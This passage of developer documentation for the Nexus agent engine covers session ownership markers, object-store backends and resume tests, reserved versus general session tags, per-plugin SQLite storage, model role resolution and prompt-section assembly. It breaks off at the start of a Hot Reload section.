If someone else still looks like the holder, the engine logs at error level and emits session.owner.conflict — and then carries on exactly as it would have. This detects; it does not prevent. No lock is taken, no fencing token is issued, nothing is refused and nothing waits. Refusing on a detection that can be wrong would let a false positive strand a session nobody can open, which is worse than the failure being detected. Fencing, expiry semantics and refusal are a real lease, and a real lease is a separate piece of work.

The alarm is only worth having if it stays quiet on the happy path, so a marker is treated as live only when nothing says otherwise:

SignalVerdict
The marker’s instance_id is this run’sOurs. Silent.
host matches this host and the PID is no longer runningThe holder crashed here. Silent — the same signal-0 liveness probe session.lock uses, and sound only because the host matches.
heartbeat_at stopped advancing more than 5 minutes agoHolder presumed gone. Silent, logged at info as a takeover.
Anything elseConflict.

Both thresholds are constants, not config keys: 30 seconds between beats, ten missed beats before a marker reads as stale. The slack is deliberate — the timestamp comes from another machine’s clock, and an alarm that fires because two hosts disagree about the time is an alarm everybody learns to ignore. The residual false alarm is a crash on a different host resumed inside the staleness window; nothing can distinguish that from a real second writer without a lease.

The local session lock is not a substitute and does not go away. It carries a PID and is excluded from the seam for exactly that reason — a PID from host A means nothing on host B — so it can only see one machine. The two answer different questions.

The conflict event is raised after startJournal and after plugin Init, not at the point of detection. The bus assigns a sequence number to every event whether the journal’s wildcard is subscribed or not, and the writer only flushes contiguous sequences, so a single event emitted during hydration would stall the drain and empty the journal for the whole run.

Scope. The marker covers session trees only. The shared roots — app- and agent-scope plugin storage — have a stronger version of the same problem and no marker yet; see Per-Plugin Storage → Object storage for app and agent scope.

Dropping a session without closing it

Stop and Abandon are the two ways a run ends, and they are not variants of each other. Stop closes a session: it takes a final snapshot, flushes, removes the owner marker, shuts plugins down, closes the journal and per-plugin SQLite, and releases the local lock. Abandon drops one:

StopAbandon
Tick heartbeat, run-scoped subscriptionsstoppedstopped
Object-store recovery workerstoppedstopped
Blob write-through workerstopped, queue drainedstopped, queue discarded
Owner-marker heartbeatstoppedstopped
Owner marker in the storedeletedleft in place
Shutdown snapshot, Flushyesno
Plugin Shutdown, journal close, SQLite close, session metadata, session lockall donenone of it

It exists for two callers. A host on ephemeral compute that is being reclaimed and does not want to pay a whole-tree snapshot of a session nobody will read. And a test simulating a process death — an abandoned engine that keeps heartbeating and retrying is still writing into the bucket the test is trying to tear down, and stopping those workers without recording a clean exit is the only honest way to fake a kill.

The owner marker is the part worth understanding. A clean Stop deletes it because the broker’s ordinary release-and-respawn cycle resumes the same session minutes later, well inside the five-minute staleness window, and a marker left behind would fire the split-brain alarm on every legitimate resume. Abandon does not delete it, because doing so would record a clean release that never happened — the next host would resume in silence exactly where the evidence matters most. It does stop the heartbeat, though: a marker that kept beating for a run that no longer exists would read as live for ever and turn a genuine takeover into a reported conflict. With the beat stopped and the marker left, the next host applies the ordinary staleness rules from the table above — a dead PID on the same host, or a heartbeat past the threshold anywhere else — and takes over quietly.

Abandon writes nothing and closes nothing local, so on its own it leaks the journal writer’s goroutine and the open handles under the session tree. That is correct for a process about to exit and wrong for one that is not; a long-lived host can call Stop afterwards, which with the store handle already gone degenerates to local teardown and still writes nothing remote. It is idempotent, safe after Stop or on an engine that never booted, and costs nothing when no object store is configured.

What survives a kill

The recovery point is the last completed turn. A process that dies without running Stop — SIGKILL, a container eviction, a Lambda timeout — loses only what was written after the last agent.turn.end; everything up to and including that boundary is restorable from the store, on a host that has never seen the session.

TestKillAndResumeRestoresIdenticalSessionState in pkg/engine is that claim as an assertion, and it runs untagged inside make test against the in-memory backend. It boots an engine, writes conversation history, artifacts, blobs and per-plugin SQLite rows, completes one turn, writes some more, and then abandons the engine with every handle still open — no Stop, no shutdown snapshot, no flush — which is what forces the turn-boundary snapshot to be the only thing that could have saved the session. A second engine over a separate, empty data root then resumes the same session ID and is held to equality rather than to “it opened”: the same history bytes and the same replayed messages, the same artifact bytes, the same blob bytes and media type, the same 500 SQLite rows through the storage manager with PRAGMA integrity_check clean — and none of the three writes made after the turn boundary. A companion test compares the whole hydrated tree against a content-hash fingerprint of the killed one, file by file.

enginetest.RunResumeSuite in pkg/engine/objectstore/enginetest repeats that scenario against a real store, where a real wire protocol, real latency and real error mapping are in the loop. Two backends run it, each behind its own build tag and its own make target: TestResumeSuiteAgainstMinIO in modules/objectstore-s3 (make test-objectstore-minio) and TestResumeSuiteAgainstFakeGCSServer in modules/objectstore-gcs (make test-objectstore-fake-gcs). The choreography is written once and shared, so the two backends cannot be held to different bars by accident; each module supplies only what is store-specific — registering a factory, making an empty bucket, listing it, and reading one object back with a client that is not the backend under test.

The suite lives in the root module because the engine does, and the backends do not: only a module that requires both can hold a real engine.Engine and a real cloud wire at once. It reaches the engine through the exported engine.NewFromBytes and an object_store: block, the same path an operator’s config takes. It adds one assertion the in-memory run cannot make: the store.db object is pulled back out of the bucket with that independent client and opened as a database, so “the store is holding a valid, queryable, fully checkpointed SQLite file” is asserted rather than inferred. Against the memory backend an upload is a []byte copied inside the process, so a broken WAL checkpoint would still round trip; here it does not. Both kill cases express the kill as engine.Abandon() rather than by simply dropping the engine: against a real bucket an engine nobody stopped keeps a heartbeat and a retry worker writing objects into the bucket the test then has to delete, and Abandon is the one teardown that stops them without recording the clean exit the scenario depends on not having happened. See Dropping a session without closing it.

What neither run covers is IAM. Both stores are emulators, and no emulator reproduces IRSA, EKS Pod Identity, GKE Workload Identity, Application Default Credentials resolution or Workload Identity Federation — the credential legs that justify taking a vendor SDK at all. Those stay a documented manual check.

The mid-flush kill, and the boundary it stops at. The suite’s MidFlushKillRestoresTheCommittedGeneration case kills a process partway through a snapshot — the tree objects of the dead generation reach the bucket, the manifest and the commit marker never do — and asserts what actually survives:

  • Hydration restores exactly the committed generation’s object set. A key the dead generation added and the committed manifest does not name is not materialised.
  • Orphaned objects are left in the bucket, not deleted.

and what does not, per Where the guarantee stops under The generation stamp and the per-object manifest: an object the dead generation overwrote in place carries the dead generation’s bytes, because the manifest names paths rather than versions. The restored store.db reads the uncommitted generation, and the test asserts that rather than hoping otherwise. TestInterruptedSnapshotCanOverwriteACommittedObjectInPlace pins the same boundary against the in-memory backend; the emulator runs are where an argument that a real store would somehow keep the old bytes would be exposed.

Lifetime of the local working copy

The local tree under core.sessions.root is not wiped on clean exit.

  • On the target deployment — a container, Cloud Run, Lambda — the filesystem vanishes when the process does, so wiping buys nothing beyond a slower shutdown and a window where a crash mid-wipe leaves a half-deleted tree.
  • On a durable host the local tree is a warm cache: the next resume of the same session skips hydration entirely, and, more importantly, it is the copy that failure_policy: degrade falls back to. Deleting it would mean a store outage at shutdown destroys the only good copy.
  • core.sessions.retention is already the operator-owned answer to “when does local session data go away”. A second, implicit, shutdown-triggered answer would be a surprise, and deleting user data is irreversible.

Writing a backend

A backend is an implementation of objectstore.Backend plus a Register call. It can live in any module: the interface names no bucket API, credential type or HTTP client, and pkg/engine/objectstore imports nothing outside the standard library.

Two rules are easy to read past, and both corrupt sessions rather than producing an error:

Keys are validated, not merely documented. Every method must reject a malformed key or prefix with an error wrapping objectstore.ErrInvalidKey, before touching the store or the filesystem. A key is /-separated, non-empty, with no leading or trailing /, no empty segment, no . or .. segment, no \, and no NUL. objectstore.ValidateKey and objectstore.ValidateKeyPrefix implement exactly this; the .. ban is what stops a hostile key from writing outside a hydration destination.

Prefixes match whole segments. Key K is under prefix P when P is empty, or when K begins with P + "/". Raw string matching — the native behaviour of ListObjectsV2 and its GCS equivalent — makes the prefix sessions/sess-1 select the objects of sessions/sess-10, which mixes two sessions into one tree. A backend listing with a raw prefix must post-filter. objectstore.TrimKeyPrefix is the rule in code, and also yields the relative path Hydrate needs: Hydrate strips the prefix, so sessions/s1/files/a.md under prefix sessions/s1 lands at <destDir>/files/a.md.

Hydrate adds and overwrites; it does not mirror. Entries already at the destination that no object corresponds to are left alone.

The contract suite

pkg/engine/objectstore/objectstoretest holds the shared conformance suite. Every backend — the in-memory one used by unit tests, and each out-of-tree module — is held to the same cases: key round-tripping, overwrite, delete-then-list, segment-aware prefixes, complete listings past one page, absent-key behaviour, zero-byte objects, key-syntax rejection, Flush idempotency and concurrent use.

func TestContract(t *testing.T) {
    objectstoretest.RunSuite(t, func(t *testing.T) objectstore.Backend {
        return newMyBackend(t) // empty, cleaned up via t.Cleanup
    })
}

Each case gets its own backend, so the factory must hand back an empty one — a temp bucket, a cleared prefix, a fresh emulator namespace. WithListProbeCount lowers the 1200-object pagination probe for a backend that cannot afford it (below the backend’s own page size the case stops proving anything), and WithoutConcurrency skips the parallel case.

objectstoretest.NewMemory is the reference implementation that passes the suite, and doubles as the substituted seam for ordinary untagged unit tests. It is deliberately not registered as a driver at init: a memory backend silently selectable in production config would discard everything on exit while reporting success. objectstoretest.RegisterMemory makes it reachable by name for the duration of one test and removes it again on cleanup.

Shipped backends, and what having two of them proves

Two backends ship in-repo, each in its own module: modules/objectstore-s3 (Amazon S3 and every S3-compatible store) and modules/objectstore-gcs (Google Cloud Storage). Neither is part of bin/nexus; an embedder blank-imports the one they want.

The second one was written to answer a question about the seam rather than about Google. An interface with exactly one implementation is indistinguishable from that implementation’s API with the names changed, and the whole premise of pkg/engine/objectstore is that a third party can implement it without a PR to this repository. GCS disagrees with S3 in several specific places — deleting a missing object is an error there and a success here; there is no region, and no project either; the client holds resources worth closing where the AWS one does not; uploads are not retried by default because an insert without a precondition is not idempotent.

Every one of those turned out to be a translation the backend module owns. modules/objectstore-gcs passes objectstoretest.RunSuite unmodified and with no option other than a reduced page-count probe, and required no change to pkg/engine/objectstore at all. Two things in the interface earned their keep in the process: Delete’s “a missing key is not an error” rule, which picks the S3 behaviour precisely because it is the one a retrying caller wants and leaves the other store to absorb the difference, and the decision to have the engine type-assert io.Closer rather than put Close on the interface, which is why a backend holding an SDK client needed no widening of a published type.

See Configuration Reference for the keys, their defaults and their validation behaviour, and Object Storage for the adoption path — wiring a backend into a binary, credentials, and the documented limitations.

Session Tags

Every session carries a small key/value label store — SessionMeta.Labels, persisted as part of metadata/session.json alongside the rest of session metadata. This page documents the label store as its own mechanism: the two namespaces a key can belong to, the four bus events that write and announce them, and the design rule that keeps the two namespaces from ever being conflated.

Two namespaces, one map

Labels live in a single map[string]string, but a key’s first character decides which of two disjoint namespaces it belongs to:

NamespaceKey shapeWho can write itHow
Reservedstarts with _ (e.g. _principal_id)Trusted infrastructure only — today, an identity-aware transport such as nexus.io.aguiA direct Go method, never the bus
Generalanything else (e.g. tenant, project, a workflow’s own bookkeeping key)Any plugin, tool call, or the opt-in nexus.tool.session_tags tool setThe vetoable bus events below

Exactly one function decides which namespace a key belongs to: engine.IsReservedLabelKey (a strings.HasPrefix(key, "_") check). Every consumer that needs the same decision calls this one definition rather than re-implementing the prefix check — the core write handlers, the reads in nexus.tool.session_tags, ICM’s OperatorTemplateCtx.Context projection, and the <session_context> prompt builders in the ReAct, Orchestrator, and Subagent agent loops all share it. That means there is no way for two call sites in the codebase to disagree about what counts as reserved.

The request/announce events

Four event types cover every write to the label store:

EventPayloadVetoablePurpose
before:session.tag.setevents.SessionTagSetRequest{Key, Value}YesAsk to write one general-namespace key
before:session.tag.deleteevents.SessionTagDeleteRequest{Key}YesAsk to remove one general-namespace key
session.tag.setevents.SessionTagSet{SessionID, Key, Value}No (announce)A label was written — by either path, general or reserved
session.tag.deletedevents.SessionTagDeleted{SessionID, Key}No (announce)A label was removed — by either path

The two before:* events follow the same shape every other vetoable request in Nexus does (before:io.input, before:tool.invoke, …): a subscriber can veto with a reason, and a caller emitting one of these gets exactly one outcome back — applied, or rejected with a reason. There is no second “apply” step after the veto check passes: the one handler in the core engine that checks the veto is also the only place that touches SessionMeta.Labels for the general path, because the engine is the only thing that knows how to mutate session metadata safely.

The two announce events fire from every successful write, regardless of which path produced it — the vetoable general path, or the reserved direct-Go-call path described below. A subscriber that wants to know “this session’s tags changed” only ever needs to watch these two event types; it never has to also know about the reserved namespace’s separate write mechanism to see a reserved key change.

Reading and enumerating

There is no before:session.tag.get/list request event — reads are synchronous and go straight to SessionMetadata().Labels, the same struct the write path persists to. nexus.tool.session_tags’s session_tag_get and session_tag_list tools read it directly rather than round-tripping through the bus. A reserved key is invisible to both: session_tag_get reports it as not found, identical to a key that was never set, and session_tag_list omits it from the result set entirely — not redacted, not flagged, simply absent, so a general-namespace enumeration carries no signal that a reserved key even exists.

Why the split is structural, not conventional

An identity tag like _principal_id and a business-context tag like tenant look identical on the wire: a string key, a string value, sitting in the same map. The tempting design is to let one code path handle both and trust callers to behave — never overwrite the identity key, never let an attacker-controlled tool argument reach it. Nexus does not take that bet.

The reserved-key check is enforced in exactly one place: the core engine’s handler for before:session.tag.set / before:session.tag.delete. It rejects a _-prefixed key unconditionally, with no veto exception and no caller-trust distinction — a request from a fully-trusted internal plugin and one from an untrusted tool call an agent invoked because a document told it to are rejected identically. The only sanctioned way to write a reserved key is a direct Go method call — SessionWorkspace.SetReservedLabel / DeleteReservedLabel — that never touches the bus at all, so there is no vetoable request an ordinary plugin could emit to reach it even if it wanted to.

That structural wall exists to protect one design rule:

Identity and general context must never be conflatable.

A tenant tag an agent set to steer its own behavior must never be able to silently become — or overwrite — the _principal_id an authenticated transport bound for the run. If both lived in one flat, unpartitioned namespace, “don’t touch the identity key” would only ever be a comment asking callers to behave, and the first tool call, misconfigured plugin, or prompt-injected request that happened to name that key would win by coincidence. Making the split a prefix the engine itself enforces — rather than a convention plugin authors are trusted to honor — turns “please don’t” into “cannot”, at the one point where every write, from any source, is forced to pass.

A second, narrower direct-Go seam exists for the same reason on the general side: SessionWorkspace.SetLabel writes a general-namespace key without a veto hop, for a caller that already sits on trusted, already-authenticated, already-decoded input and gains nothing from re-litigating it through a gate built for untrusted general writes. It still rejects a _-prefixed key defensively — a caller mistake here bypasses the general validation completely, and without the same check a client could smuggle a _-prefixed key in through this second path and land in the reserved namespace anyway.

Where general tags surface in prompts

A tag in the general namespace is not just a piece of session bookkeeping — several agent loops expose it to the LLM as ordinary prompt context, always through the shared engine.XMLWrap("session_context", ...) convention (see Prompt Registry) and always built by reading SessionMetadata().Labels fresh, filtering out every reserved key, and rendering what’s left as sorted key: value lines. A reserved key is filtered before rendering, not redacted after: it is never present in the string that gets wrapped, so there is no code path that first builds an unfiltered prompt and then removes the sensitive part.

Because filtering happens at read time rather than at write time, a tag written mid-session by any general writer is visible on the very next render — there is no cache to invalidate. Every one of these builders emits nothing at all (not even an empty <session_context/> tag) when there are no general-namespace labels currently set, so a session that never wrote a tag never adds noise to its own prompt.

  • ReAct and Orchestrator (both the per-worker and the synthesis system prompt) each add a <session_context> section alongside their existing <skill_context> / <execution_plan> / <current_task> sections.
  • Subagent prepends a <session_context> block ahead of its configured system prompt, when one applies.
  • ICM exposes the same filtered map two ways: OperatorTemplateCtx.Context is available to the workspace’s operator.md template as {{ .Context.<key> }}, and — because that template only renders once, at posture-registration time, not on every turn — the per-turn <icm_turn> XML payload also carries a <session_context> block, rebuilt fresh on every dispatch. See ICM: Workspace layout and ICM: XML payload reference.

This is deliberately the only thing a general tag is used for by the core agent loops: influencing what the LLM sees. Nothing in the reserved namespace is ever exposed this way — an identity binding is metadata about who is running the session, not something the model should be told about or asked to reason over, and the same IsReservedLabelKey filter that keeps it off the bus keeps it out of every prompt too.

Who writes what today

WriterNamespaceMechanism
nexus.io.aguiReserved (_principal_id)Direct SetReservedLabel at run start/resume, DeleteReservedLabel at run end — see AG-UI Serve Transport
nexus.io.aguiGeneral (each RunAgentInput.context item)Direct SetLabel, no veto hop, since the input already arrived over an authenticated transport
nexus.tool.session_tags (opt-in)General onlybefore:session.tag.set / before:session.tag.delete, the same vetoable path any other bus caller uses — see Session Tags Tool
Any other pluginGeneral onlybefore:session.tag.set / before:session.tag.delete

No plugin can write the reserved namespace except through the direct Go methods, which are only ever called from core-adjacent, trusted code — never from a bus handler, and never from anything an agent’s tool calls can reach.

See also

Per-Plugin Storage

Every plugin can request a SQLite-backed storage handle scoped at session, agent, or application level. The storage primitive is engine-native (no plugin needs to be activated) and is exposed through PluginContext.Storage.

The backend is modernc.org/sqlite — pure Go, no CGO, FTS5 included. WAL mode and a 5-second busy timeout are on by default.

Scopes

ScopePathLifetime
ScopeSession<session.RootDir>/plugins/<pluginID>/store.dbDisappears when the session is archived.
ScopeAgent~/.nexus/agents/<agent_id>/plugins/<pluginID>/store.dbPersists across sessions for one agent. Collapses to ScopeApp when no core.agent_id is configured.
ScopeApp~/.nexus/plugins/<pluginID>/store.dbMachine-wide, survives across sessions and agents.

Multi-agent embedders (the desktop shell) set core.agent_id per engine instance so each agent gets its own ScopeAgent partition. CLI and single-agent embedders leave it empty, which collapses agent scope to app scope so plugins do not end up with two separate connection pools pointing at the same file.

The data root can be overridden via core.storage.root (defaults to ~/.nexus).

Plugin API

func (p *Plugin) Init(ctx engine.PluginContext) error {
    st, err := ctx.Storage(storage.ScopeSession)
    if err != nil {
        return err
    }

    // KV sugar — convenient for trivial put/get cases.
    if err := st.Put("last_run", []byte(time.Now().String())); err != nil {
        return err
    }
    val, ok, err := st.Get("last_run")

    // Raw SQL — for joins, transactions, virtual tables (FTS5).
    if _, err := st.DB().Exec(`CREATE TABLE IF NOT EXISTS jobs (
        id INTEGER PRIMARY KEY, payload TEXT
    )`); err != nil {
        return err
    }

    // Transactions.
    return st.Tx(func(tx *sql.Tx) error {
        _, err := tx.Exec(`INSERT INTO jobs(payload) VALUES(?)`, "work")
        return err
    })
}

Handles are pooled — repeated calls to ctx.Storage(scope) return the same underlying *sql.DB for that (scope, pluginID) pair. The handle lives for the lifetime of the engine; do not call Close on the returned *sql.DB.

The kv table is created lazily on the first KV-method call. Plugins that only use DB() never see it.

Configuration

See Configuration Reference for the authoritative list. The relevant block:

core:
  agent_id: ""                 # set by multi-agent embedders
  storage:
    root: ~/.nexus             # data root for app + agent scope
    busy_timeout_ms: 5000
    cache_size_kb: 2048
    pool_max_idle: 2
    pool_max_open: 4

Concurrency

App-scope storage is shared across every session on the machine. SQLite WAL mode handles concurrent readers cleanly, and writers serialize behind the busy timeout. Multiple processes (two CLIs sharing the same app-scope DB file) work but are not the design target — prefer agent or session scope for concurrent independent workloads.

Within a single process, Storage is safe for concurrent use across goroutines.

With an object-store backend configured, that rule gets sharper, because a shared root then has to survive being copied to and from a bucket:

  • Two processes on one host share the same store.db file. SQLite’s WAL and busy timeout serialise them, so at any instant the file holds both processes’ committed writes and a snapshot of it is a superset of each. Both upload to the same key and the later upload wins — and it is a strict superset. Safe.
  • Two processes on different hosts each have their own local copy and no shared serialisation point. Both upload to the same key at whole-database granularity, so the later flush silently discards the other host’s writes. This is not fixable at the seam: merging two SQLite databases is a schema-specific operation the engine has no basis to perform.

So the constraint with object storage is one writing host at a time per shared root — the same constraint the local filesystem already implied, stated out loud because a bucket makes it easy to violate by accident. Two mitigations are built in: hydration never overwrites a plugin directory that already exists locally, so a remote copy cannot clobber a live local database mid-run; and every uploaded database is checkpointed and VACUUM INTOd, so what lands remotely is always self-consistent rather than torn.

The constraint is still documented rather than detected here. Session trees carry an owner marker that makes a second writing host loud — see Sessions → Two hosts, one session — and the shared roots deliberately do not, because “who owns this root” is a different question from “who owns this session”: a root is machine-wide and outlives every session, so its holder is not a single engine run and its marker could not be claimed and released on one run’s lifecycle. Extending detection here is the mechanism that would turn the rule above from a documented constraint into a detected violation, and it is recorded as future work rather than smuggled into the session-scoped marker.

Checkpoints and snapshots

A store.db is only half a database while a writer is active: committed transactions live in store.db-wal until a checkpoint folds them back, and store.db-shm is a process-local index into that WAL. Copying store.db on its own gets a file that opens cleanly and is silently missing data — the reason cp store.db elsewhere is never a backup.

The manager exposes two operations for this:

  • Manager.Checkpoint(scope) runs PRAGMA wal_checkpoint(TRUNCATE) on every open handle at a scope, folding the WAL back into the main file and resetting it to zero length. TRUNCATE rather than PASSIVE (which gives up silently the moment a reader is present) or FULL (which leaves the WAL at its high-water mark, so one large batch costs the session forever). It blocks on readers, bounded by the 5 s busy timeout.
  • Manager.Snapshot(scope, destDir) checkpoints and then VACUUM INTOs each handle to <destDir>/<pluginID>/store.db, returning the live path, the snapshot path, its size, the checkpoint result and the elapsed time.

The two steps do different jobs and both are needed. The checkpoint makes the live file self-contained; VACUUM INTO makes the snapshot untearable, since it runs inside a read transaction and so cannot be torn by a plugin committing mid-copy. A plain io.Copy after the checkpoint would produce a corrupt rather than merely stale file in that case, which is strictly worse when the result is about to be uploaded over a good remote copy. VACUUM INTO also refuses an existing destination, so snapshotting over a live database is impossible by construction, and it compacts, so the snapshot is never larger than the live file. The driver is pure Go, so there is no CGO backup API available; this is the portable equivalent.

The cost is O(database size): roughly 220–265 MiB/s on an M1 Max (0.6 MiB → ~3 ms, 117 MiB → ~530 ms). BenchmarkSnapshot in pkg/engine/storage measures it.

Only handles the manager has actually opened are covered, which is the right set: a store.db in the tree with no handle has no writer in this process and is already static.

The engine’s object-store seam is the caller. It snapshots session-scope handles at every turn boundary and never uploads -wal, -shm or -journal sidecars, so the stored database restores on a host that has never seen them. See Sessions → Turn-boundary snapshots.

Object storage for app and agent scope

App- and agent-scope stores live outside every session tree, so they get their own key space beside sessions/ rather than inside one:

ScopeLocal pathObject key
ScopeApp<root>/plugins/<pluginID>/store.dbplugins/<pluginID>/store.db
ScopeAgent<root>/agents/<agent_id>/plugins/<pluginID>/store.dbagents/<agent_id>/plugins/<pluginID>/store.db

The key is derived from the live path by relativising it against <root>, so it follows the layout above by construction rather than by a second copy of the path rules. No session ID appears in either key, which is what preserves the lifetimes in the table at the top of this page: an app-scope store keyed under the session that flushed it would give every session its own copy, and a machine-wide ceiling like nexus.gate.token_budget’s tenant budget would silently become a per-session one. The engine refuses to produce such a key.

The lifecycle is:

  1. Hydrate at boot, before any plugin can call ctx.Storage — the manager creates a plugin’s directory as a side effect of handing out a handle, so hydrating later would find every directory present and skip it. Hydration is per plugin directory: one that already exists locally is never touched (it may be open, and replacing a store.db under a live handle corrupts it), one that does not is pulled down through a staging directory and an atomic rename. A listing failure fails the boot, under both failure policies, for the same reason a failed session hydration does: carrying on would hand plugins an empty machine-wide store that the first turn boundary then uploads over the good one.
  2. Snapshot at every turn boundary and at shutdown, with the same checkpoint-then-VACUUM INTO discipline, immediately after the session’s commit marker is published — so a shared-root outage never holds back a session that is otherwise fully durable.

Agent scope follows the manager’s collapse exactly: with core.agent_id empty, an agent-scope handle resolves to app scope and so does its key. Nothing is uploaded twice.

Shared roots have no owner marker. A shared root outlives every session, so the claim-on-Boot / release-on-Stop cycle the session marker uses has no counterpart here, and reusing that marker would produce one every session clobbers and every clean shutdown deletes while other runs are still writing. The consequence is that the split-brain detection sessions get does not exist for these stores — see Concurrency above, and Object Storage → Limitations.

See Configuration Reference → Beyond the session tree and Object Storage.

Model Registry

The model registry maps abstract role names to concrete model configurations. This lets plugins request a model by capability (e.g., “reasoning”, “quick”) without hardcoding specific model IDs.

Role-Based Model Selection

Define model roles in the core.models config section:

core:
  models:
    default: balanced        # Role to use when none specified
    reasoning:               # High-capability model for complex tasks
      provider: nexus.llm.anthropic
      model: claude-opus-4-20250514
      max_tokens: 16384
    balanced:                # General-purpose model
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192
    quick:                   # Fast, cost-effective model
      provider: nexus.llm.anthropic
      model: claude-haiku-4-5-20251001
      max_tokens: 4096

How Roles Are Used

Plugins reference roles by name in their configuration:

nexus.planner.dynamic:
  model_role: reasoning     # Use the high-capability model for planning

nexus.memory.compaction:
  model_role: quick         # Use the fast model for summarization

nexus.agent.react:
  model_role: balanced      # Default agent model (optional, uses default role)

When a plugin emits an llm.request, the LLM provider resolves the role to a concrete model:

// Plugin requests by role
config, found := models.Resolve("reasoning")
// Returns: ModelConfig{Provider: "nexus.llm.anthropic", Model: "claude-opus-4-20250514", MaxTokens: 16384}

Resolution Rules

  1. If the role name matches a defined role, return that config
  2. If the role is empty, use the default role
  3. If the role is not found but contains a hyphen (e.g., claude-sonnet-4-20250514), treat it as a raw model ID for backward compatibility
  4. Otherwise, return not found

Provider Fallback Chains

Role values can be ordered arrays instead of single maps. First entry = primary, subsequent entries are tried in order when the primary fails with a non-retryable error or exhausts its retry budget.

core:
  models:
    balanced:
      - provider: nexus.llm.anthropic
        model: claude-sonnet-4-20250514
        max_tokens: 8192
      - provider: nexus.llm.openai
        model: gpt-4o
        max_tokens: 8192
    quick:
      provider: nexus.llm.anthropic    # single entry = no fallback
      model: claude-haiku-4-5-20251001

Single-map format is backward compatible — parsed as a chain of length 1.

Requires: nexus.provider.fallback in plugins.active + both provider plugins active.

Trigger conditions: Fallback occurs when a provider error is non-retryable (4xx except 429, auth failures), or when the provider’s own retry logic (429, 5xx backoff) has exhausted max_retries.

Streaming partial failure: If a provider fails mid-stream, the fallback plugin emits io.output.clear to wipe partial content, then provider.fallback notification, then re-emits llm.request targeting the next provider. Clean restart — no spliced output from two models.

Provider Fanout

Roles with fanout: true send requests to all listed providers in parallel instead of sequential fallback. The fanout plugin collects responses and returns them as a single LLMResponse with Alternatives.

core:
  models:
    compare:
      fanout: true
      providers:
        - provider: nexus.llm.anthropic
          model: claude-sonnet-4-20250514
          max_tokens: 4096
        - provider: nexus.llm.openai
          model: gpt-4o
          max_tokens: 4096

Requires: nexus.provider.fanout in plugins.active + all listed provider plugins active.

Deadline: Configurable via nexus.provider.fanout.deadline_ms (default 30s). If a provider doesn’t respond in time, the fanout proceeds with available responses.

No per-leg fallback: A fanout provider that fails is simply marked as failed. Fallback chains and fanout are separate concepts — a role is either a fallback chain or a fanout group, not both.

API

type ModelConfig struct {
    Provider  string  // Plugin ID of the LLM provider
    Model     string  // Model identifier string
    MaxTokens int     // Maximum tokens for this model
}

type ModelRegistry struct {
    Resolve(role string) (ModelConfig, bool)              // Primary model for a role (index 0)
    Fallback(role string, attempt int) (ModelConfig, bool) // Model at chain index
    ChainLen(role string) int                             // Number of entries in fallback chain
    IsFanout(role string) bool                            // Whether a role uses parallel fanout
    FanoutProviders(role string) []ModelConfig            // All providers in a fanout role
    Default() ModelConfig                                 // Get the default model
    Roles() []string                                      // List all registered role names
}

Default Role

The default key in the models config is a string alias pointing to another role:

models:
  default: balanced   # When no role specified, use "balanced"

This means models.Resolve("") and models.Default() both return the balanced config.

Prompt Registry

The prompt registry allows plugins to inject dynamic sections into the system prompt at runtime. This is how skills catalogs, dynamic variables, and other context get appended to the agent’s system prompt without hardcoding.

How It Works

  1. Plugins register prompt sections during initialization, each with a name and priority
  2. When the LLM provider builds a request, it calls prompts.Apply(systemPrompt) to assemble the final prompt
  3. Each registered section function is called — if it returns a non-empty string, that content is wrapped in an XML <prompt_section> tag and appended
  4. Sections are appended in priority order (lower priority numbers first)
  5. If a base system prompt is provided, it’s wrapped in <system_instructions> tags

XML Structure

All prompt content uses XML tag boundaries for clean structural separation. The assembled prompt looks like:

<system_instructions>
You are a helpful assistant.
</system_instructions>

<prompt_section name="skill-catalog">
<available_skills>
  <skill name="code-review" scope="project">
    <description>Review code for quality, bugs, security issues, and style.</description>
  </skill>
</available_skills>
</prompt_section>

<prompt_section name="dynvars">
- Date: 2026-04-08
- OS: darwin
- CWD: /Users/frank/projects/myapp
</prompt_section>

Registering a Section

func (p *MyPlugin) Init(ctx engine.PluginContext) error {
    ctx.Prompts.Register("my-context", 50, func() string {
        return "Some dynamic information here."
    })
    return nil
}

The function is called every time a prompt is assembled, so it can return different content based on current state. The returned content is automatically wrapped in <prompt_section name="my-context"> tags by the registry.

Built-in Sections

PluginSection NamePriorityContent
nexus.system.dynvarsdynvars90Current date, time, timezone, CWD, OS
nexus.skillsskill-catalog80XML-formatted list of available skills

Agent-Level Semantic Tags

Beyond the structural <prompt_section> wrapping, each agent type uses semantic XML tags for its dynamic content:

TagContentAgents
<skill_context>Grouped loaded skill bodiesReAct, PlanExec, Orchestrator
<execution_plan>Plan summary + step listReAct
<current_task>Current step instructionsReAct, PlanExec, Orchestrator workers
<prior_results>Completed step/dependency outputsPlanExec, Orchestrator workers
<user_request>Original user input (CDATA-wrapped)PlanExec, Orchestrator
<subtask_results>Worker outputs in synthesis promptsOrchestrator
<session_context>Current session’s non-reserved Labels, sorted key: value lines; omitted entirely when none are setReAct, Orchestrator (decompose + synthesis), Subagent (prepended ahead of the configured system prompt)

See Session Tags for what populates Labels, the reserved-prefix filter that keeps _-prefixed keys out of every prompt, and ICM’s equivalent (OperatorTemplateCtx.Context and the per-turn <session_context> payload block, both outside the prompt-registry machinery on this page).

User-provided content and LLM outputs are wrapped in CDATA blocks to prevent parsing conflicts.

XML Helpers

Shared XML utilities in pkg/engine/xml.go:

engine.XMLWrap("tag", content, "attr", "value")  // wrap content in <tag attr="value">...</tag>
engine.XMLTag(&builder, "tag", "attr", "value")   // write opening tag
engine.XMLClose(&builder, "tag")                   // write closing tag
engine.XMLCDATA(content)                            // wrap in <![CDATA[...]]>
engine.XMLEscape(s)                                 // escape &, <, >, "

API

type PromptSectionFunc func() string

type PromptRegistry struct {
    Register(name string, priority int, fn PromptSectionFunc)
    Unregister(name string)
    Apply(systemPrompt string) string
}
  • Register — Adds a named section. If a section with the same name already exists, it is replaced.
  • Unregister — Removes a named section.
  • Apply — Takes the base system prompt, wraps it in <system_instructions>, and appends all registered sections wrapped in <prompt_section> tags, in priority order.

Use Cases

  • Skill catalogs — The skills plugin registers available skills so the agent knows what’s available
  • Dynamic variables — The dynvars plugin injects current date/time and system info
  • Custom context — Your plugins can inject any context the agent should be aware of

Hot Reload

Engine.ReloadConfig(newConfig *Config) error applies a config change to a running engine without restarting unaffected plugins. Phase 5 of Idea 10 (engine resilience) introduced it; the design is intentionally cautious so operators can adjust gate thresholds, model assignments, and tool allowlists in production without dropping every active session.

Architecture

The reload runs in two phases.

1. Validate (atomic)

